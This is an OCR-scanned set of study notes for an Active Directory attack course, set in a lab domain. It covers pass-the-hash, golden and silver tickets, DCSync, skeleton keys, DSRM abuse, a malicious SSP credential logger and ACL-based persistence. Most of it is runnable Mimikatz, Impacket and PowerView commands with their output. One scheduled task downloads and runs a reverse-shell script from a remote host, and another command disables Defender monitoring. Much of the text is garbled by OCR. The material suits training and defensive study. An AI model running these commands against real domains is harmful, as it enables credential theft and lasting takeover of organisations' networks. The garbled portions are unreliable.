Woigest A To|UTFBHTTP REG_DWORD 0x00000001 (1)
o[ UTFBSASL REG_DWORD 0x00000001 (1)

< >

Computer\HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

What is Pass the Hash ( PtH ) ?

Use NTLM Hash Unknown the password to auth, Without Decrypt The NTLM Password.

What Over Pass the Hash ?

Create a valid Kerberos ticket USing the NTLM Hash of the user.

Invoke-Mimikatz -Command "sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntlmHash> /run:powershel

| Jols Ui 0,50l pgis olins 7 oY amlio Taz pgo
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http://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service
http://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service

¥ Domain Presistence - Golden Ticket - DCSync

Once we have DA privileges new avenues of persistence, escalation to EA and Attacks across
trust open up!

« Kerberos:
o Is The basis of authentication in a Windows AD env.
o It’s Authentication protocol.
o Alternative to NTLM.
o Only Works with hostnames , not IP Address .

o Preferred over NTLM.

But if i’m Domain Admin ( DA ) i can Access EveryThing®

How Kerberos Works ?
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1. Password CM lO

3.TGT encrypted with

2.TheTGT is encrypted,

5 The user connects to the server

Attacking and Defending Active Directory

o NTLM password hash for Kerberos RC4 encryption.

o Logon Ticket (TGT) provides user auth to DC.

o

Kerberos policy only checked when TGT is created.

o

DC validates user account only when TGT > 20 mins
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Golden Ticket

o A golden ticket is signed and encrypted by the hash of krbtgt account which makes it
a valid TGT ticket.

o Since user account validation is not done by Domain Controller (KDC service) until
TGT is older than 20 minutes, we can use even deleted/revoked accounts.

o The krbtgt user hash could be used to impersonate any user with any privileges from
even a non-domain machine.

o Password change has no effect on this attack. If the hash does not match, DC
validates against the previously used password.

o This persistent technique is valid as long as the krbtgt hash is not changed twice.

#Running on a DC with DA privs. Extract krbtgt hash.
Invoke-Mimikatz -Command '"lsadump::1lsa /patch"' -Computername dcorp-dc

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:<domain.local>
/sid:<Domain SID> /krbtgt:<:krbtgt hash> /id:500
/groups:512 /startoffset:0 /endin:600 /renewmax:10080 /aes256:<aes256keyofkrbtgT-optional> /ptt"'

klist
1s \\<DC.targetdomain.local>\c$
PsExec64.exe \\DC.targetdomain.com cmd.exe

#Impacket

python ticketer.py -nthash <:krbtgt hash> -domain-sid <domain sid> -domain <domain.local> <Anyname> export KRB5CCNAME=<Anyuser
#psexec

psexec.py <domain.local>/<Anyuser>@<IP> -k -nopass

kerberos: :golden Name of the module

/User:Administrator Username for which the TGT is generated

/domain:dollarcorp.moneycorp.local Domain FQDN

/sid:S-1-5-21-1874506631-3219952063- SID of the domain

538504511

/krbtgt:ff46a9d8bd66c6efd77603da26796f35 NTLM (RC4) hash of the krbtgt account. Use /aes128 and
/aes256 for using AES keys.

/i1d:500 /groups:512 Optional User RID (default 500) and Group default 513 512 520
518 519)

/ptt Injects the ticket in current PowerShell process - no need to
save the ticket on disk

or

/ticket Saves the ticket to a file for later use

/startoffset:0 Optional when the ticket is available (default O - right

now) in minutes. Use negative for a ticket available from
past and a larger number for future.

/endin:600 Optional ticket lifetime (default is 10 years) in minutes.
The default AD setting is 10 hours = 600 minutes
/renewmax: 10080 Optional ticket lifetime with renewal (default is 10 years)

in minutes. The default AD setting is 7 days = 100800

#First disable Firewall
Set-MpPreference -DisableRealtimeMonitoring $true

# Now Go to svcadmin machine and save session of computerName dcorp-dc
$sess=New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local
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#Now run this inside dcorp-dc machine
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

0000014 (500)

Administrator
af0686cc0ca8f04df42210c9ac9

000001f5 (501)
Guest

000001f6 (502)
krbtgt

ff46a9d8b

0000017 (503)
DefaultAccount

00000455 (1109)
ciadmin

e08253add90dccf1a208523d02998c3d

00000458 (1112)
sqladmin

07e8be316e3da9a042a9c

Important NTLM Hash for - krbtgt ff46a9d8bd66c6efd77603da26796135
Get-DomainSID - Domain SID ( S-1-5-21-1874506631-3219952063-538504511 )

“Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp-moneycorp.local /sid:S-1-5-21-1874506631-3

Now i have A golden ticket on Adminstrator User

nwmwkatz(powenshe? )_# kerberos::golden /User:Administrator /domain:dollarcorp-moneycorp.local /sid:5-1-5-21
H8bdb66 3da. 535 id:500 /groups:512 /startoffset:0 /endin/600 /renewmax:10080 /ptt
Administrator

: dollarcorp-moneycorp.local OLL ARCORP -MONE YCORP)

: 5-1-5-21-1874506631-3219952 -538504511
) c : 500
Groups Id : *512
EerviceKey: Tf46a9d8bdb6cbefd77603da26796f35 - rcd_hmac_nt
1Fet1me 1 4/26/2022 6:42: PM ; 4/23/2032 6:42:16 PM ; 5/3/2022 6:42:16 PM

- Ticket : ass The Ticket **

* PAC generated

* PAC signed

* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for "Administrator @ dollarcorp-moneycorp.local’ successfully submitted for current session

klist

PS C:\AD\Tools> klist
Current LogonId is 0:0xa7e4c
Cached Tickets: (1)

#0> Client: Administrator @ dollarcorp-moneycorp.local
Server: krbtgt/dollarcorp-moneycorp.local @ dollarcorp-moneycorp. local
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 4/26/2022 18:42:16 (local)
End Time: 4/23/2032 18:42:16 (local)
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Renew Time: 5/3/2022 18:42:16 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY

Kdc Called:

1s \\dcorp-dc.dollarcorp.moneycorp. local\c$

PS C:\AD\Tools> 1s \\dcorp-dc.dollarcorp.moneycorp.local\c$

Directory: \\dcorp-dc.dollarcorp.moneycorp.local\c$

LastWriteTime Name

2/23/2018 PerfLogs
A28 200 Program Files
10/14/2018 . Program Files (x86)
10/30/2018 , Temp

A A2 S Users
10/30/2018 . Windows

PsS C:\AD\Tools> klist
urrent LogonId is 0:0x4afeb2a
ached Tickets: (3)

0> Client: Administrator @ dollarcorp.moneycorp.local
Server: krbtgt/DOLLARCORP.MONEYCORP.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x60al0000 -> forwardable forwarded renewable pre_authent name_canonicalize
Start Time: 12/24/2018 11:55:58 (local)
End Time: 12/24/2018 21:55:00 (local)
Renew Time: 12/31/2018 11:55:00 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0Ox2 -> DELEGATION
Kdc Called: dcorp-dc.dollarcorp.moneycorp.local

Client: Administrator @ dollarcorp.moneycorp.local

Server: krbtgt/dollarcorp.moneycorp.local @ dollarcorp.moneycorp.local
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)

Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 12/24/2018 11:55:00 (local)

End Time: 12/24/2018 21:55:00 (local)

Renew Time: 12/31/2018 11:55:00 (local)

Session Key Type: RSADSI RC4-HMAC(NT)

Cache Flags: Ox1 -> PRIMARY

Kdc called:

Client: Administrator @ dollarcorp.moneycorp.local

server: [@ifs/dcorp-dc.dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL

KErbricket Encryption Iype: AES-Z56-CIS-HMACL-SHAL-96

Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 12/24/2018 11:55:58 (local)

End Time: 12/24/2018 21:55:00 (local)

Renew Time: 12/31/2018 11:55:00 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96

Cache Flags: 0

Kdc Called: dcorp-dc.dollarcorp.moneycorp.local

DCSync Attack

Requires a user with the Replicating Directory Changes All and Replicating Directory Changes privileges.
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Pemissions for studentadmin Alow Deny

Read only replication secret synchronization O O -
Rearimate tombstones | O
Replicating Directory Changes O O
Replicating Directory Changes All O O
Replicating Directory Changes In Fitered Set | O -

Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers
groups have these privileges by default. It is also possible for any user to be granted
these specific privileges.

Use the DCSync feature for getting krbtgt hash execute the below command with DA
privileges.

#Check Rights on Domain Object for current user

#AD Module

Get-ACL "AD: \DC=<domain>,DC=local"

Get-ACL "AD: \DC=<domain>,DC=local" | select-object -ExpandProperty Access

#Users with DCSync rights

#Powerview

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=1local" -ResolveGUIDs | ? {($_.IdentityReference -match "studen
Get-ObjectACL -DistinguishedName '"dc=domain,dc=local" -ResolveGUIDs | ? {($_.0ObjectType -match 'replication-get') -or ($_.Acti

#To Add DCSync permissions, run on DC:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName studentx -Rights DCSync
Add-DomainObjectACL -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipleIdentity <user>

#Execute attack

#Mimikatz

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' # This attack of DCSync

#Remote execution with impacket
sudo python3 secretsdump.py <domain.local>/<username>:'<pass>'@<IP>

*Using the DCSync option needs no code execution (no need to run Invoke-Mimikatz) on the
target DC.

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

EAM Username krbtgt

phccount Type 30000000 ( R_OBJECT )

Iser Account Control 00000202 ( ACCOUNTDISAELE NORMAL_ACCOUNT )

p\ccount expiration

assword last change g

)bject Security ID S 8 3 Q 3-538504511-502

)bject Relative ID 2

Credentials:

Hash NTLM:
ntim- 0:
m - 0O:

»upp]ementa]
“ Primary: NTLM—»tr ong _
Random value : 6 5c099fed4d029ebb5c6e08e

Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrb
Default Iterations : 4096
Credentials
aes?256_hmac (4096) e?28b3a5c60e0 39a410a1199235efaf3b9f125972c7ale/618a7469bfdba
aes128_hmac (409 4cffc051ba55 b3b bb
des_cbc_md5 (4096) : bf 7t

Primary:Kerberos *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrb
Credentials
des_cbc_md5 : bf5d7319947f54c7

Packages *
NTLM-Strong-NTOWF

Prima
0
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Silver Ticket - ntLM hash Of the service account password

if we have access NTLM hash of they service account password we can forged a TGS and use it
on they application server.

Silver Ticket Attack - if we can Extract the NTLM hash of service account we can later on
access the service as any user even including high privesc user

Silver Ticket (TGS) - Ticket Granting Service

The Privileged Attribute Certificate (PAC) is an extension to Kerberos tickets that contains useful information about a user’s p
rivileges. This information is added to Kerberos tickets by a domain controller when a user authenticates within an Active Dire
ctory domain. When users use their Kerberos tickets to authenticate to other systems, the PAC can be read and used to determine
their level of privileges without reaching out to the domain controller to query for that information (more on that to follow).

Command To get NTLM Hash of the service:

Invoke-Mimikatz -Command '"
<ComputerName> <NTLM> "

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219
952063-538504511 /target:dcorp-mssql.dollarcorp.moneycorp.local
/service:CIFS /rc4:6f5b5acaf7433b3282ac22e21e62ff22 /ptt"'

.« /target - the target server’s FQDN.

. /service - the kerberos service running on the target server. i.e Service Principal Name
class (or type) [cifs, http, mssql, host]

e« /rc4: NTLM Hash of the Service Account. wimikatz "privilege: :debug" "sekurlsa::logonpasswords"
« /domain - the fully qualified domain name.

« /sid - the SID of the domain. In this example: “S-1-5-21-1473643419-774954089-
2222329127".

.« /user - username to impersonate

. /groups (optional) - group RIDs the user is a member of (the first is the primary group)
default: 513,512,520,518,519 for the well-known Administrator’s groups (listed below).

. /ticket (optional) - provide a path and name for saving the Golden Ticket file to for
later use or use /ptt to immediately inject the golden ticket into memory for use.

« /ptt - as an alternate to /ticket - use this to immediately inject the forged ticket
into memory for use.

« /id (optional) - user RID. Mimikatz default is 500 (the default Administrator account
RID).

. /startoffset (optional) - the start offset when the ticket is available (generally set
to -10 or O if this option is used). Mimikatz Default value is 0.
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« /endin (optional) - ticket lifetime. Mimikatz Default value is 10 years (~5,262,480
minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).

« /renewmax (optional) - maximum ticket lifetime with renewal. Mimikatz Default value is
10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7
days (10,080 minutes).

Service Type

Service Type Service Silver Tickets
WMI HOST

RPCSS
PowerShell Remoting HOST

HTTP

Depending on OS version may also need:

WSMAN
RPCSS
WinRM HOST
HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including Mimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS
LDAP
CIFS

We Can Create Silver Ticket via ( HOST SPN ) which allow scedule and execute task:

#1 Create TGS for HOST service :

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-321995:
/service:HOST /rc4:6f5b5acaf7433b3282ac22e21e62ff22 /ptt"'

#2 List Task on their DC

schtasks /S dcorp-dc.dollarcorp.moneycorp.local

#3 Create task to inject our Reverse Shell

schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "Taskname" /TR
"powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.100.1:8080/Invoke-PowerShellTcp.ps1''"')""
#4 Run The task to get Our Shell

schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "Taskname"

#5 On The powercat
powercat -1 -v -p 443 -t 1000

Skeleton Keys:

« Skeleton key is a persistence technique where it is possible to patch a Domain
Controller (LSASS process) so that it allows access as any user with a single password.

« Injects Skeleton Key into LSASS
« Both real password as well as skeleton key would work.
« Get stake-holder permission before testing in engagements as this downgrades security.

« Persistent as long as LSASS service is not restarted.[ i.e DC reboot. Atleast 1 month
time]

« One cannot patch LSASS twice with skeleton key. Requires reboot.

« You can access other machines as well as long as they authenticate with the DC which has
been patched and the DC is not rebooted.
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e Dpefault password :mimikatz

Inject a skeleton key on a Domain Controller-

e Domain Admin privileges required

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local

PS C:\Windows\system32> Invoke-Mimikatz dcorp-dc.dollarcorp. moneycorp. local

L RRRRE mimikatz 2.1.1 (x64) built on Jul 18 2018 15:40:54 - Ti1!

BB N BE. A La Vie, A L'Amour" - (oe.eo)

# N\ B Benjamin DELPY "gentilkiwi  ( benjamin@gentilkiwi.com )
## N\ / ## http://blog.gentilkiwi.com/mimikatz

"RE v O#E' Vincent LE TOUX ( vincent.letoux@gmail.com }

CREERR > http://pingcastle.com / http://mysmartlogon.com

mimikatz(powershell) # privilege::debug
Privilege '20' OK

mimikatz(powershell) # misc::skeleton
< data
struct
keys patch ok
functions
init patch oK
decrypt patch oK

e From a Low-priv computeri

Enter-PSSession -Computer dcorp-dc.dollarcorp.moneycorp.local -Credential dcorp\administrator

Windows PowerShell credential request ? X

Enter your credentials.

User name: € dcorp\administrator v |

Password: |ooooooo| |

Password - mimikatz

If LSASS is running as a Protected Process.

« We can still use Skeleton Key but it needs the mimikatz driver (mimidriv.sys) on disk of
the target DC

« Noise in logs [Service installation [Kernel mode driver]

mimikatz # privilege::debug

mimikatz # !+ <- load the driver

mimikatz # !processprotect /process:lsass.exe /remove <- remove the protection
mimikatz # misc::skeleton <- we can injected !

mimikatz # !-
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wWhat is DSRM?
- Directory Services Restore Mode - SaveMode for any DC.

- There is a local administrator on every DC called "Administrator" whose password is the
DSRM password. This is not a domain user but local.

Known Security issue:
- DSRM logon is not permitted over network.

« Logon bhehavior needs to be changed first. - g muadl G o ojuwi oY

After altering the configuration on the DC, it is possible to:
« Pass the NTLM hash of this user to access the DC.

« Start a DCSync Attack on the DC to access krbtgt hash

Persistence Lifetime: Extremely long, possibly years.

« Get stake-holder permission before testing in engagements as this downgrades security.

& Active Directory Domain Services Configuration Wizard [;E-

TARGET SERVER
de

Domain Controller Options

Select functional level of the new forest and root domain
Domain Controller Options|

Forest functional level Windows Server 2012 R2 [=]
Domain functional level | Windows Server 2012 R2 o

Specify domain controlléy capabilities

[¥] Domain Name System (DNS) server
o

Type the Directory Services Restore Mode (DSRM) password
Password:

Confirm password

More about dom:

<Previous | [ Next> | Cancel

#1 Change Logon Behaviour for DSRM Account

#1
Enter-PSSession -Computername dcorp-dc -> Need Domain Admin

#2
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -> Check value of Lsa

#3 Change The value to 2
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2

#4 if set-itemProperty Does set

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -value 2 -PropertyType DWORD -Verbosi
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auditbasedirectories
auditbaseobjects
Bounds
crashonauditfail
fullprivilegeauditing
LimitBlankPassworduse
NoLmHash g il

: {pku2u, wdigest, kerberos, msvl_0...}
: {rassfm, scecli}

Authentication Packages

LsaPid

everyoneincludesanonymous : 0

forceguest : 0

restrictanonymous 10

restrictanonymoussam Rl

DsrmAdminLogonBehavior 2

PSPath : Microsoft.Powershell.Core\Registr KEY_LOCAL_MACHINE\System\CurrentControlset\Control\Lsa\
PSParentPath : Microsoft.PowerShell.Core\Registr: KEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName : Lsa

PSDrive : HKLM

PSProvider : Microsoft.Powershell.cCore\Registry

« 0 (default): You can only use the DSRM administrator account if the DC is started in
DSRM.

« 1: You can use the DSRM administrator account to log on if the local AD DS service is
stopped.

« 2: You can always use the DSRM administrator account (This setting isn’t recommended,
because password policies don’t apply to the DSRM administrator account).

Dump DSRM password ( Need DA privs )

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName dcorp-dc
#0r Inside mimikatz.exe
lsadump::sam -ComputerName dcorp-dc

# SAM have contains local user password hashes.

Passing The Hash (PTH)

Note: /domain: is the DC name Not Domain Name

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:<SAM_DSRM> /run:powershell.exe"'

SAM_DSRM - Found via ( Invoke-Mimikatz -Command ‘”token::elevate” “lsadump::sam”’
ComputerName dcorp-dc)

hostname
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DSRM + DCSync = Password data for any domain account

#Mimikatz

@SRM -> Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:al02ad5753f4c441e3af31c97fad86fd /r
@DSYNC -> Invoke-Mimikatz -Command '"lsadump::dcsync /domain:dollarcorp.moneycorp.local /dc:DCORP-DC /user:dcorp\krbtgt"'

Custom SSP - Security Support Provider:

A Security Support Provider (SSP) is a DLL which provides ways for an application to obtain
an authenticated connection.

Some SSP Packages by Microsoft are:
e NTLM
« Kerberos
« Wdigest

« CredSSP

Mimikatz provides a custom SSP -mimilib.d1l. This SSP logs local logons, service account
and machine account passwords in clear text on the target server.

DLL can be modified to save into C:\SYSVOL instead. This exposes the log file to all users.

« Scenario 1 : Modify Registry [Restart required]
o Copy mimilib.d11l to the same location as LSASS (c:\windows\system32)

o Update Security Packages registry key
(HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages) with the
SSP DLL name.

o All local logons on the DC are logged to C:\Windows\system32\kiwissp. log

#Supported SSP on DC:

$packages=Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\0SConfig\ -Name 'Security Packages' | select -ExpandProp
$packages+="mimilib"

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\0SConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages

#cmd
shutdown -r

« Scenario 2 : Using mimikatz [No restart required]
o Not stable with Server 2016

o Stored to C:\windows\system32\mimilsa. log

Invoke-Mimikatz -Command '"misc::memssp"'

CRTP-Notes-Meshari-Almalki

58



File Edit Format View Help

[[eeeee0e0: 6B F8998] OPSDC\OPS-DC$
[00000000: 000F89ac] OPSDC\OPS-DC$
[eeoc0000:000F97c6] OPSDC\Administrator N
00000000 : 0006ea9F] 0PSDC\Administrator | N N
(00000000 : 0010e4dd] OPSDC\OPS-DC$
[00000000: 0010e42] OPSDC\OPS-DC$
[@000000a:0010F20e] 0PSDC\Administrator | NRNNEGNGN
(00000000 : 0006ea9F] OPSDC\Administrator NN

¥ Domain Presistence - ACLs - AdminSDHolder

AdminSDHolder

is a container that exists in every Active Directory domain for a special purpose. The
Access Control List (ACL) of the AdminSDHolder object is used as a template to copy
permissions to all “protected groups” in Active Directory and their members. Active
Directory will take the ACL of the AdminSDHolder object and apply it to all protected users and groups

periodically, if an attacker is able to manipulate the ACL for AdminSDHolder, then those
permissions will automatically be applied to all protected objects. This will give an
attacker a way to create persistent access to privileged accounts within the domain.

ComPartitionSets
DomainUpdates

1 IP Security

[ Meetings

1 MicrosoftDNS
Policies

RAS and IAS Servers £
WinsockServices
WMIPolicy

-§ Default Domain Polic
Dfs-Configuration
DFSR-GlobalSettings
File Replication Servic
FileLinks

Password Settings Cc
PSPs

%] RpcServices

CEgERER

g i

'«LL

E
3

Advanced Security Settings for AdminSDHolder [} >
Owner. Domain Admins (dcorp\Domain Admins) Change
Permissions Auditing Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

Permission entries:

>
>
>
>
>
>
>
>
>
>
>
b
>
>
>
>
>
>

Type  Principal Access Inherited from Applies to 2
82 Allow | Terminal Server License Servers (dcorp\Terminal Server License Servers) This object only
S8 Allow Everyone >3 Special None This object only
8% Allow  SELF Special None This object only
8% Allow  SELF Special None This object and all descendan...
SR Allow  Enterprise Admins (mcorp\E... Special None This object only
82 Allow Domain Admins (dcorp\Do...  Special None This object only
S8 Allow  Pre-Windows 2000 Compatib... Special None This object only
B2 Allow  Administrators (dcorp\Admi... Special None This object only
B2 Allow  Authenticated Users Special None This object only

Add | Remove Edit Restore defaults

Cancel Apply

AdminSDHolder Default Protected Objects:

Account Operators
Administrators
Backup Operators
Domain Admins
Domain Controllers
Enterprise Admins

Krbtgt
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Print Operators

Read-only Domain Controllers
Replicator

Schema Admins

Server Operators

Modifying AdminSDHolder Permissions:

o With DA privileges add an ACL for our user for AdminSDHolder Permissions. This will
provide the user full control over AdminSDHolder and thus the Protected Groups.

« Instead of Full control, we can select ResetPassword, WriteMembers etc.

# ADModule
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=1local' -Principal studentl -Verbose

# PowerView

#GenericAll

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName studentl -Rights All -Verbose
#ResetPassword

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName studentl -Rights ResetPassword -Verbose
#WriteMembers

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName studentl -Rights WriteMembers -Verbose

Wait for 1 hour or Run Invoke-SDPropogator on Domain Controller.

1- $sess = NewPSSession -Computername dcorp-dc.dollarcorp.moneycorp.local
2- Invoke-Command -FilePath .\Invoke-SDPropagator.psl -Session $sess -> Upload to dcorp-dc computer
3- Enter-PSSession -Session $sess

4- Invoke-SDPropagator -showProgress -timeoutMinutes 1 -Verbose
# Check If it add or not via Get-ObjectACL
5- Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "student:

For pre-Server 2008 machines:
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutesl -showProgress -Verbose

Abuse Methods:

#Adding a user to Domain Admins Group

#Powerview_dev

Add-DomainGroupMember -Identity 'Domain Admins' -Members testuser -Verbose
#AD-Module

Add-ADGroupMember -Identity 'Domain Admins' -Members testuser

#Resetting a Domain Admin's password

#Powerview_dev

Set-DomainUserPassword -Identity testuser -AccountPassword(ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose
#AD-Module

Set-ADAccountPassword -Identity testuser -NewPassword(ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose

DCSYNC:
Three Spicial Right :
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dollarcorp.moneycarp.local Properties ? x

General Managed By Object Secunty Attribute Editor
Group or user names:
SR Administrators (dcom\Administrators) A
82 Pre-Windows 2000 Compatible Access (dcorp'\Pre-Windows 20...
B2 Incoming Forest Trust Builders (dcom\Incoming Forest Trust Buil
82 ENTERPRISE DOMAIN CONTROLLERS
& studentadmin (studertadmin)

Add.. Remove

Permissions for studentadmin

Read only replication secret synchronization
nimate tom 3

Replicating Directory Changes

Replicating Directory Changes Al

Replicating Directory Changes In Fitered Set

W

O00opal#

g ululalalalf;

For special pbmnsstons or advanced settings, click Ad
Advanced.

it’s enough to DCSync Privileges, this one we can extract NTLM hash without any DA
privileges

#Add FullControl Rights:

#ActiveDirectoryModule and Set-ADACL.psil

Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal studentx -Verbose

#Powerview

Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=1local' -PrincipalSamAccountName studentx -Rights All -Verbos:

#DCSync Rights

#Powerview

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=1local" -ResolveGUIDs | ? {($_.IdentityReference -match "studentx")
# Add To DCSync Rights

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp, dc=moneycorp,dc=1local" -PrincipalSamAccountName <studentx> -Rights DCSync -Vi

#ADModule and Set-ADACL
Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal studentx -GUIDRight DCSync -Verbose

\Tools> Set-ADACL studentadmin DCSync
Getting the existing ACL for DC=dollarcorp,DC=moneycorp,DC=local.
OSE: Setting ACL for "DC=dollarcorp,DC=moneycorp,DC=Tocal"” for "studentadmin” to use "GenericAll" right.

\Ab\Too] s>

Execute DCSync Without Domain Admin Privileges:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

¥ Domain Presistence - ACLs - Security Descriptors

Whene we have local admin privileges on the box it’s possiable to modify the ( Security
Descriptor ) Like:

Owner , primary Group , DACL & SACL) of Multiple remote access Method - Securable objects
to allow access to Non—-Admin Users.

SDDL - Security Descriptor Definition Language is Used to describe a Security Descriptor.
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SSDL uses ACE strings For ( DACL & SACL )

ACE Strings :

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid; (resource_attribute)

# ACE for built-in Administrator For WMI namespaces :

# Example

A;C1;CCDCLCSWRPWPRCWD; ; ; SID

A-> Allow

CI-> Container_INHERIT

CCDCLCSWRPWPRCWD-> All of these are defferent rights , all of these club together give fullControl over the namespace .
if i Replace SID With ( UserSID ) the user will have full control over the namespace

Reference

#Get List Information Using WMI from DC:
Get-wWmiObject -Class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp. local

WUsers\Administrator\Desktop> Get-WmiObject win32_operatingsystem MESHARI-DC.Muloc.loca

SystemDirectory : Windows\system32
Organization

BuildNumber : 17763

RegisteredUser : Windows User
SerialNumber : Be431-10060-06000-AAB63
Version : 10.08.17763

But when we don’t have any ACE on User

PS C:\Users\studentadmin> Get-wWmiobject win32_operatingsystem dcorp-dc.dollarcorp.moneycorp.local

ACLs Can be modified to Allow Non-Admin users access to Securable
Objects:

Note: We Must run this script as Domain Admin

# On Local machine for <USER>

Set-RemoteWMI -UserName <USER> -Verbose -> # For add all the namespace

# On remote machine for <USER> without Explicit Credentials.

Set-RemoteWMI -UserName <USER> -ComputerName <DC> -namespace 'root\cimv2' -Verbose -> # Select A specific NameSpace

C:\AD\Tools> . .\Set-RemotewMI.psl
AD\Tools> Set-RemotewMI studentadmin dcorp-dc. do'l'larcorp moneycorp.local
VERBOSE: Existing ACL for namespace root\c1mv2 is 0:BAG:BAD: (A; CIID;CCDCR AU) (A; CIID; CCDCRP; ; 5 LS) (A; CIID; CCDCRP 3 sNS)ICA; CIID; CCDCLCSWRPWPPCWD,,,BA)
[VERBOSE: Existing ACL for DCOM is D2 (A; ; CCDCSW; ; WD)(A.,CCDCSW ;AC) ( :CCDCLCSWRP,-,BA)( ; CCDCLCSWRP; ;5 LU) (A; CCDCLCSWR ;35-1-5-32-562)
VERBOSE : [New ACL  for namespace root‘mm\u is|
0:BAG:BAD: (A; CIID; CCDCRP; ; ;AU) (A; CIID; CCDCRP; ; ;LS) (A; CIID; CCDCRP; ; ;NS) (A; CIID; CCDCLCSWRPWPRCWD; ; 3 BA)|(A; CI; CCDCLCSWRPWPRCWD; ; 5 S-1-5-21-268341927-4156871508-17

92461683 -1212)
RBOSE: New ACL for DCOM

BAG:BAD: (A; ; CCDCS D) (A; ; CCDCSW; 5 ;AC) (A; ; CCDCLCSWRP; ; ;BA) (A; ; CCDCLCSWRP; 5 5 LU) (A; ; CCDCLCSWRP; ; ;S-1-5-32-562) (A; ; CCDCLCSWRP; ; ;S-1-5-21-268341927-415687150
S 1792461683~ l”l’) 3
PS C:\AD\Tools>
PS C:\AD\Tools> _

After add ACL for namespace we can execute again:
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Ps C:\Users\studentadmin> Get-wmiobject win32_operatingsystem dcorp-dc.dollarcorp.moneycorp.local\

<

Ps C:\Users\studentadmin> Get-wmiobject win32_operatingsystem .do1larcorp.moneycorp.local

BystemDirectory : C:\Windows\system32
Amazon.com
14393

EC2
00376-40000-00000-AA753
10.0.14393

Ps ¢:\Users\studentadmin>

